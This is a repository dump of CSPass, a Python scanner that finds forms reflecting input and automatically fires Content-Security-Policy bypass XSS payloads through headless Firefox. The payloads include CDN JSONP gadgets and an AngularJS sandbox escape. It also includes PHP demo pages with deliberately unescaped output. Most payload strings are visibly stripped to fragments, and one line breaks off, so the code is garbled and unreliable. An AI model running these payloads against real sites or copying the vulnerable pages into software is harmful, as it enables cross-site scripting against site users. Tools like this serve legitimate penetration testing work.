├── .github └── example.png ├── LICENSE ├── README.md ├── cspass.py ├── examples ├── Dockerfile ├── conf │ ├── apache.conf │ ├── php.ini │ └── vhost.conf ├── run_bg.sh ├── run_fg.sh └── src │ ├── cspass1 │ └── index.php │ ├── cspass2 │ └── index.php │ ├── cspass3 │ └── index.php │ ├── index.php │ └── style.css └── requirements.txt /.github/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ruulian/CSPass/aead1176ee303d7d613f9fde855201e5c9dda70e/.github/example.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Ruulian 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CSPass 2 | 3 | This tool allows to automatically test for Content Security Policy bypass payloads. 4 | 5 | With dynamic mode, CSPass uses selenium to test payload directly on the page and returns if payload worked or not. 6 | 7 | ![](./.github/example.png) 8 | 9 | ## Installation 10 | 11 | You can install CSPass by downloading the zip folder [here](https://github.com/Ruulian/CSPass/archive/refs/heads/master.zip). 12 | 13 | You can also install it by cloning the git repository: 14 | ``` 15 | git clone https://github.com/Ruulian/CSPass.git 16 | ``` 17 | 18 | ## Usage 19 | 20 | ``` 21 | [CSPass]~$ ./cspass.py -h 22 | usage: cspass.py [-h] [--no-colors] [-d] [-a] -t TARGET [-c COOKIES] 23 | 24 | CSP Bypass tool 25 | 26 | optional arguments: 27 | -h, --help show this help message and exit 28 | --no-colors Disable color mode 29 | -d, --dynamic Use dynamic mode 30 | -a, --all-pages Looking for vulnerability in all pages could be found 31 | 32 | Required argument: 33 | -t TARGET, --target TARGET 34 | Specify the target url 35 | 36 | Authentication: 37 | -c COOKIES, --cookies COOKIES 38 | Specify the cookies (key=value) 39 | ``` 40 | 41 | ## Examples 42 | 43 | You can try using CSPass on vulnerable websites by running docker, there are 2 runners: `run_bg.sh` and `run_fg.sh`. 44 | 45 | This container gets 3 pages with differents vulnerables CSP where you can handhold the tool. 46 | 47 | ## Contributing 48 | 49 | Pull requests are welcome. Feel free to open an issue if you want to add other features. -------------------------------------------------------------------------------- /cspass.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Author : @Ruulian_ 4 | # Date created : 31 Oct 2021 5 | 6 | from random import choice 7 | from requests_html import HTMLSession 8 | from selenium import webdriver 9 | from selenium.common.exceptions import TimeoutException 10 | from selenium.webdriver.firefox.options import Options as FirefoxOptions 11 | from selenium.webdriver.support import expected_conditions as EC 12 | from selenium.webdriver.support.ui import WebDriverWait 13 | from urllib.parse import urljoin, urlparse 14 | import argparse 15 | import datetime 16 | import json 17 | import platform 18 | import re 19 | import time 20 | import urllib3 21 | 22 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 23 | 24 | color = choice([35, 93, 33]) 25 | 26 | nonce_reg = r'nonce\-(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?' 27 | sha_reg = r'sha\d{3}\-(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?' 28 | 29 | general_payload = "alert()" 30 | 31 | policies_fallback = { 32 | "script-src":"default-src" 33 | } 34 | 35 | vulnerable_CSP_conf = { 36 | "script-src" : [ 37 | {'value': ['unsafe-inline'], 'patch':[('script-src', nonce_reg), ('script-src', sha_reg)], 'payload': f''}, 38 | {'value': ['unsafe-inline'], 'patch':[('script-src', nonce_reg), ('script-src', sha_reg)], 'payload': f''}, 39 | {'value': ['*'], 'patch':[], 'payload': ''}, 40 | {'value': ['data:'], 'patch':[], 'payload': f''}, 41 | {'value':['https://cdnjs.cloudflare.com', 'unsafe-eval'], 'patch':[], 'payload':"
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };%s;//');}}
" % general_payload}, 42 | {'value': ['https://*.google.com'], 'patch':[], 'payload': f'">'}, 43 | {'value': ['https://*.doubleclick.net'], 'patch':[], 'payload': f'">'}, 44 | {'value': ['https://*.googleadservices.com'], 'patch':[], 'payload': f'">'}, 45 | {'value': ['https://*.google.com'], 'patch':[], 'payload': f'">'}, 46 | {'value': ['https://*.google.com'], 'patch':[], 'payload': f'">'}, 47 | {'value': ['https://*.blogger.com'], 'patch':[], 'payload': f'">'}, 48 | {'value': ['https://*.yandex.net'], 'patch':[], 'payload': f'">'}, 49 | {'value': ['https://*.yandex.ru'], 'patch':[], 'payload': f'">'}, 50 | {'value': ['https://*.vk.com'], 'patch':[], 'payload': f'">'}, 51 | {'value': ['https://*.marketo.com'], 'patch':[], 'payload': f'">'}, 52 | {'value': ['https://*.marketo.com'], 'patch':[], 'payload': f'">'}, 53 | {'value': ['https://*.alicdn.com'], 'patch':[], 'payload': f'">'}, 54 | {'value': ['https://*.taobao.com'], 'patch':[], 'payload': f'">'}, 55 | {'value': ['https://*.tbcdn.cn'], 'patch':[], 'payload': f'">'}, 56 | {'value': ['https://*.1688.com'], 'patch':[], 'payload': f'">'}, 57 | {'value': ['https://*.amap.com'], 'patch':[], 'payload': f'">'}, 58 | {'value': ['https://*.sm.cn'], 'patch':[], 'payload': f'">'}, 59 | {'value': ['https://*.sm.cn'], 'patch':[], 'payload': f'">'}, 60 | {'value': ['https://*.uber.com'], 'patch':[], 'payload': f'">'}, 61 | {'value': ['https://*.buzzfeed.com'], 'patch':[], 'payload': f'">'}, 62 | {'value': ['https://*.co.jp'], 'patch':[], 'payload': f'">'}, 63 | {'value': ['https://*.yahooapis.jp'], 'patch':[], 'payload': f'">'}, 64 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'}, 65 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'}, 66 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'}, 67 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'}, 68 | {'value': ['https://*.yahoo.com'], 'patch':[], 'payload': f'">x'}, 69 | {'value': ['https://*.yahoo.com'], 'patch':[], 'payload': f'">'}, 70 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'}, 71 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'}, 72 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'}, 73 | {'value': ['https://*.twitter.com'], 'patch':[], 'payload': f'">'}, 74 | {'value': ['https://*.twitter.com'], 'patch':[], 'payload': f'">'}, 75 | {'value': ['https://*.twitter.com'], 'patch':[], 'payload': f'">'}, 76 | {'value': ['https://*.sharethis.com'], 'patch':[], 'payload': f'">'}, 77 | {'value': ['https://*.addthis.com'], 'patch':[], 'payload': f'">'}, 78 | {'value': ['https://*.ngs.ru'], 'patch':[], 'payload': f'">'}, 79 | {'value': ['https://*.ulogin.ru'], 'patch':[], 'payload': f'">'}, 80 | {'value': ['https://*.meteoprog.ua'], 'patch':[], 'payload': f'">'}, 81 | {'value': ['https://*.intuit.com'], 'patch':[], 'payload': f'">'}, 82 | {'value': ['https://*.userlike.com'], 'patch':[], 'payload': f'">'}, 83 | {'value': ['https://*.youku.com'], 'patch':[], 'payload': f'">'}, 84 | {'value': ['https://*.mixpanel.com'], 'patch':[], 'payload': f'">'}, 85 | {'value': ['https://*.travelpayouts.com'], 'patch':[], 'payload': f'">'}, 86 | {'value': ['https://*.pictela.net'], 'patch':[], 'payload': f'">'}, 87 | {'value': ['https://*.adtechus.com'], 'patch':[], 'payload': f'">'}, 88 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': '">' % general_payload}, 89 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': f'">'}, 90 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': f'ng-app"ng-csp ng-click=$event.view.{general_payload}>'}, 91 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': f'"} 93 | ] 94 | } 95 | 96 | def date_formatted(): 97 | return datetime.datetime.now().strftime("%H:%M:%S") 98 | 99 | def parse_cookies(arg:str): 100 | cookies = {} 101 | cookies_arg = arg.split(";") 102 | for c in cookies_arg: 103 | cookie = c.split("=") 104 | try: 105 | cookies[cookie[0]] = cookie[1] 106 | except IndexError: 107 | raise argparse.ArgumentTypeError("Cookies must be specified with key=value") 108 | return cookies 109 | 110 | 111 | class Scanner: 112 | def __init__(self, target, no_colors=False, dynamic=False, all_pages=False, cookies={}, secure=False): 113 | self.no_colors = no_colors 114 | self.all_pages = all_pages 115 | self.dynamic = dynamic 116 | self.target = target 117 | self.secure = secure 118 | self.pages = [self.target] 119 | self.cookies = cookies 120 | self.sess = HTMLSession() 121 | 122 | def print(self, message=""): 123 | if self.no_colors: 124 | message = re.sub("\x1b[\[]([0-9;]+)m", "", message) 125 | print(message) 126 | 127 | def succeed(self, message=""): 128 | self.print(f"[\x1b[92mSUCCEED\x1b[0m] {message}") 129 | 130 | def info(self, message=""): 131 | self.print(f"[\x1b[96m{date_formatted()}\x1b[0m] {message}") 132 | 133 | def vuln(self, message=""): 134 | self.print(f"[\x1b[93mVULN\x1b[0m] {message}") 135 | 136 | def fail(self, message=""): 137 | self.print(f"[\x1b[95mFAIL\x1b[0m] {message}") 138 | 139 | def error(self, message=""): 140 | self.print(f"[\x1b[91mERROR\x1b[0m] {message}") 141 | 142 | def banner(self): 143 | self.print(f"""\x1b[{color}m 144 | ______ _____ ____ 145 | / ____// ___/ / __ \ ____ _ _____ _____ 146 | / / \__ \ / /_/ // __ `// ___// ___/ 147 | / /___ ___/ // ____// /_/ /(__ )(__ ) 148 | \____/ /____//_/ \__,_//____//____/\x1b[0m\x1b[3m by Ruulian\x1b[0m 149 | 150 | \x1b[4mVersion\x1b[0m: 1.2 151 | """) 152 | 153 | def ping(self): 154 | try: 155 | r = self.sess.get(self.target, cookies=self.cookies, verify=self.secure) 156 | r.raise_for_status() 157 | except OSError: 158 | return False 159 | return True 160 | 161 | def get_all_pages(self, page): 162 | r = self.sess.get(page, cookies=self.cookies) 163 | if r.text != "": 164 | links = r.html.absolute_links 165 | for link in links: 166 | if link not in self.pages and urlparse(link).netloc == urlparse(self.target).netloc: 167 | self.pages.append(link) 168 | time.sleep(0.3) 169 | 170 | class Page: 171 | def __init__(self, url, cookies, secure=False): 172 | self.url = url 173 | self.cookies=cookies 174 | self.secure = secure 175 | self.sess = HTMLSession() 176 | self.csp = self.get_csp() 177 | self.vulns = [] 178 | 179 | def get_csp(self): 180 | data = {} 181 | r = self.sess.head(self.url, verify=self.secure) 182 | if 'Content-Security-Policy' in r.headers.keys(): 183 | csp = r.headers['Content-Security-Policy'] 184 | for param in csp.strip().strip(';').split(';'): 185 | matched = re.search("^([a-zA-Z0-9\-]+)( .*)?$", param.strip()) 186 | csp_name, csp_values = matched.groups() 187 | if csp_values is not None: 188 | csp_values = [v.rstrip("'").lstrip("'") for v in csp_values.strip().split(' ')] 189 | else: 190 | csp_values = [] 191 | data[csp_name] = csp_values 192 | return data 193 | 194 | def format_csp(self): 195 | csp = {} 196 | for policyname in self.csp: 197 | csp[policyname] = " ".join(self.csp[policyname]) 198 | csp = json.dumps( 199 | csp, 200 | indent=4 201 | ) 202 | return csp 203 | 204 | def get_forms(self): 205 | r = self.sess.get(self.url, cookies=self.cookies) 206 | if r.text != "": 207 | forms = r.html.find("form") 208 | return forms 209 | return [] 210 | 211 | def test_patch(self, patches): 212 | for patch in patches: 213 | patch_policy_name = patch[0] 214 | patch_policy_value = patch[1] 215 | if patch_policy_name in self.csp: 216 | r = re.compile(patch_policy_value) 217 | if any([r.match(x) for x in self.csp[patch_policy_name]]): 218 | return True 219 | return False 220 | 221 | def scan(self): 222 | vuln = False 223 | csp_keys = self.csp.keys() 224 | new_csp_keys = [] 225 | for policy, fallback in policies_fallback.items(): 226 | if fallback in csp_keys and policy not in csp_keys: 227 | new_csp_keys.append((policy, fallback)) 228 | else: 229 | new_csp_keys.append((policy, policy)) 230 | 231 | for policyname in new_csp_keys: 232 | priority = policyname[0] 233 | name = policyname[1] 234 | if priority in vulnerable_CSP_conf.keys(): 235 | for exploit in vulnerable_CSP_conf[priority]: 236 | if all(x in self.csp[name] for x in exploit['value']) and (exploit['patch'] == [] or not self.test_patch(exploit['patch'])): 237 | policyvalue = " ".join(self.csp[name]) 238 | self.vulns.append({'value':f"{name} {policyvalue}", 'payload':exploit['payload']}) 239 | vuln = True 240 | return vuln 241 | 242 | 243 | 244 | class Form: 245 | def __init__(self, url, action, method, names, cookies, secure=False): 246 | self.url = url 247 | self.action = action 248 | self.method = method 249 | self.names = names 250 | self.cookies = cookies 251 | self.secure = secure 252 | self.sess = HTMLSession() 253 | 254 | def test_dom(self): 255 | parameters = {} 256 | value = "random_value_t0_test" 257 | 258 | for name, val in self.names.items(): 259 | if val == "": 260 | parameters[name] = value 261 | else: 262 | parameters[name] = val 263 | 264 | if self.method.lower() == "get": 265 | r = self.sess.get(self.action, params=parameters, cookies=self.cookies, verify=self.secure) 266 | elif self.method.lower() == "post": 267 | r = self.sess.post(self.action, data=parameters, cookies=self.cookies, verify=self.secure) 268 | 269 | if value in r.text: 270 | return True 271 | else: 272 | return False 273 | 274 | def exploit(self, payload, dangling=False): 275 | domain = urlparse(self.url).netloc 276 | if platform.system() == "Linux" or platform.system() == "Darwin": 277 | log_path = "/dev/null" 278 | else: 279 | log_path = "NUL" 280 | options = FirefoxOptions() 281 | options.add_argument("--headless") 282 | wb = webdriver.Firefox(options=options, service_log_path=log_path) 283 | 284 | wb.get(self.url) 285 | for key, value in self.cookies.items(): 286 | wb.add_cookie({'name':key, 'value':value, 'domain':domain}) 287 | 288 | for name in self.names: 289 | form_input = wb.find_element_by_name(name) 290 | form_input.clear() 291 | form_input.send_keys(payload) 292 | form = wb.find_element_by_tag_name("form") 293 | form.submit() 294 | time.sleep(0.5) 295 | 296 | exploit = False 297 | if dangling: 298 | if urlparse(wb.current_url).netloc != domain: 299 | exploit = True 300 | else: 301 | exploit = False 302 | else: 303 | try: 304 | WebDriverWait(wb, 3).until(EC.alert_is_present()) 305 | 306 | alert = wb.switch_to.alert 307 | alert.accept() 308 | exploit = True 309 | except TimeoutException: 310 | exploit = False 311 | wb.close() 312 | return exploit 313 | 314 | 315 | def parse_args(): 316 | parser = argparse.ArgumentParser(add_help=True, description='CSP Bypass tool') 317 | 318 | parser.add_argument("--no-colors", dest="no_colors", action="store_true", help="Disable color mode") 319 | parser.add_argument("-d", "--dynamic", dest="dynamic", action="store_true", help="Use dynamic mode") 320 | parser.add_argument("-a", "--all-pages", dest="all_pages", action="store_true", help="Looking for vulnerability in all pages could be found", required=False) 321 | parser.add_argument("-k", "--secure", dest="secure", action="store_true", help="Check SSL certificate") 322 | 323 | required_args = parser.add_argument_group("Required argument") 324 | required_args.add_argument("-t", "--target", dest="target", help="Specify the target url", required=True) 325 | 326 | required_args = parser.add_argument_group("Authentication") 327 | required_args.add_argument("-c", "--cookies", dest="cookies", help="Specify the cookies (key=value)", type=parse_cookies, required=False, default={}) 328 | 329 | args = parser.parse_args() 330 | return args 331 | 332 | if __name__ == '__main__': 333 | args = parse_args() 334 | scan = Scanner(target=args.target, no_colors=args.no_colors, dynamic=args.dynamic, all_pages=args.all_pages, cookies=args.cookies, secure=args.secure) 335 | scan.banner() 336 | scan.info(f"Starting scan on target \x1b[1m{scan.target}\x1b[0m\n") 337 | 338 | scan.info("Pinging page") 339 | if scan.ping(): 340 | scan.info("Page found\n") 341 | else: 342 | scan.error("Page not found") 343 | exit() 344 | 345 | if scan.all_pages: 346 | scan.info("Detecting all pages...") 347 | scan.get_all_pages(scan.target) 348 | scan.info(f"{len(scan.pages)} pages found\n") 349 | 350 | for p in scan.pages: 351 | page = Page(p, scan.cookies, secure=scan.secure) 352 | scan.info(f"Scanning page: \x1b[1m{page.url}\x1b[0m") 353 | forms = page.get_forms() 354 | if forms != []: 355 | for form in forms: 356 | if 'action' in form.attrs and form.attrs['action'] != '': 357 | action = form.attrs['action'] 358 | else: 359 | action = page.url 360 | if 'method' in form.attrs: 361 | method = form.attrs['method'] 362 | else: 363 | method = "GET" 364 | 365 | inputs = form.find("input") + form.find("textarea") 366 | 367 | names = {} 368 | for input_tag in inputs: 369 | if "name" in input_tag.attrs: 370 | name = input_tag.attrs["name"] 371 | if "type" in input_tag.attrs and input_tag.attrs["type"] == "hidden": 372 | try: 373 | names[name] = input_tag.attrs["value"] 374 | except: 375 | pass 376 | else: 377 | names[name] = '' 378 | 379 | new_form = Form(page.url, urljoin(page.url, action), method, names, scan.cookies, scan.secure) 380 | 381 | if new_form.test_dom(): 382 | scan.info("Parameter reflected in DOM and no htmlspecialchars detected") 383 | if page.csp != {}: 384 | csps = page.format_csp() 385 | scan.print() 386 | scan.print(f" [\x1b[{color}mContent-Security-Policy\x1b[0m] ".center(74, "=")) 387 | scan.print(csps) 388 | scan.print(f" [\x1b[{color}mContent-Security-Policy\x1b[0m] ".center(74, "=")) 389 | scan.print() 390 | if page.scan(): 391 | vulns = page.vulns 392 | scan.info(f"Number of vulnerabilities found: {len(vulns)}\n") 393 | for vuln in vulns: 394 | scan.vuln(f"Vulnerability: \x1b[1m{vuln['value']}\x1b[0m") 395 | scan.vuln(f"Payload: {vuln['payload']}\n") 396 | if scan.dynamic: 397 | scan.info(f"Starting dynamic mode ...") 398 | for vuln in vulns: 399 | scan.info(f"Testing: \x1b[1m{vuln['value']}\x1b[0m") 400 | if new_form.exploit(vuln['payload']): 401 | scan.succeed(f"Payload found on \x1b[1m{page.url}\x1b[0m") 402 | scan.succeed(f"Payload: {vuln['payload']}\n") 403 | else: 404 | scan.fail("Payload tested didn't work\n") 405 | else: 406 | scan.fail(f"No XSS found\n") 407 | if scan.dynamic: 408 | scan.info("Testing Dangling Markup ...") 409 | dangling_markup_payload = " 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | CSPass Example 1 10 | 11 | 12 |
13 |
14 |

Exploit unsafe inline

15 | 16 | 17 | 18 | Result for '" . $_GET["q"] . "'

"; 21 | } 22 | ?> 23 |
24 |
25 | 26 | 27 | -------------------------------------------------------------------------------- /examples/src/cspass2/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | CSPass Example 2 10 | 11 | 12 |
13 |
14 |

Exploit wildcard

15 | 16 | 17 | 18 | Result for '" . $_GET["q"] . "'

"; 21 | } 22 | ?> 23 |
24 |
25 | 26 | -------------------------------------------------------------------------------- /examples/src/cspass3/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | CSPass Example 2 10 | 11 | 12 |
13 |
14 |

Exploit wildcard

15 | 16 | 17 | 18 | Result for '" . $_GET["q"] . "'

"; 21 | } 22 | ?> 23 |
24 |
25 | 26 | -------------------------------------------------------------------------------- /examples/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | CSPass examples 9 | 10 | 11 |
12 |

CSPass examples

13 |

You can try CSPass on those links:

14 | 19 |
20 | 21 | -------------------------------------------------------------------------------- /examples/src/style.css: -------------------------------------------------------------------------------- 1 | /*Vars */ 2 | :root { 3 | --rad: .7rem; 4 | --dur: .3s; 5 | --color-dark: #2f2f2f; 6 | --color-light: #fff; 7 | --color-brand: #57bd84; 8 | --font-fam: 'Lato', sans-serif; 9 | --height: 5rem; 10 | --btn-width: 6rem; 11 | --bez: cubic-bezier(0, 0, 0.43, 1.49); 12 | } 13 | 14 | /* Setup */ 15 | body { 16 | text-align: center; 17 | background: var(--color-dark); 18 | display: flex; 19 | align-items: center; 20 | justify-content: center; 21 | min-height: 100vh 22 | } 23 | html { 24 | box-sizing: border-box; height: 100%; font-size: 10px; 25 | } 26 | 27 | /* Main styles */ 28 | form { 29 | position: relative; 30 | width: 30rem; 31 | border-radius: var(--rad); 32 | } 33 | input, button { 34 | height: var(--height); 35 | font-family: var(--font-fam); 36 | border: 0; 37 | color: var(--color-dark); 38 | font-size: 1.8rem; 39 | } 40 | /* input[type="search"] { 41 | outline: 0; /* <-- shold probably remove this for better accessibility, adding for demo aesthetics for now. 42 | width: 100%; 43 | background: var(--color-light); 44 | padding: 0 1.6rem; 45 | border-radius: var(--rad); 46 | appearance: none; /*for iOS input[type="search"] roundedness issue. border-radius alone doesn't work 47 | transition: all var(--dur) var(--bez); 48 | transition-property: width, border-radius; 49 | z-index: 1; 50 | position: relative; 51 | } */ 52 | label { 53 | position: absolute; 54 | clip: rect(1px, 1px, 1px, 1px); 55 | padding: 0; 56 | border: 0; 57 | height: 1px; 58 | width: 1px; 59 | overflow: hidden; 60 | } 61 | 62 | #result{ 63 | font-size: medium; 64 | color: white; 65 | } -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests_html 2 | selenium 3 | lxml-html-clean 4 | --------------------------------------------------------------------------------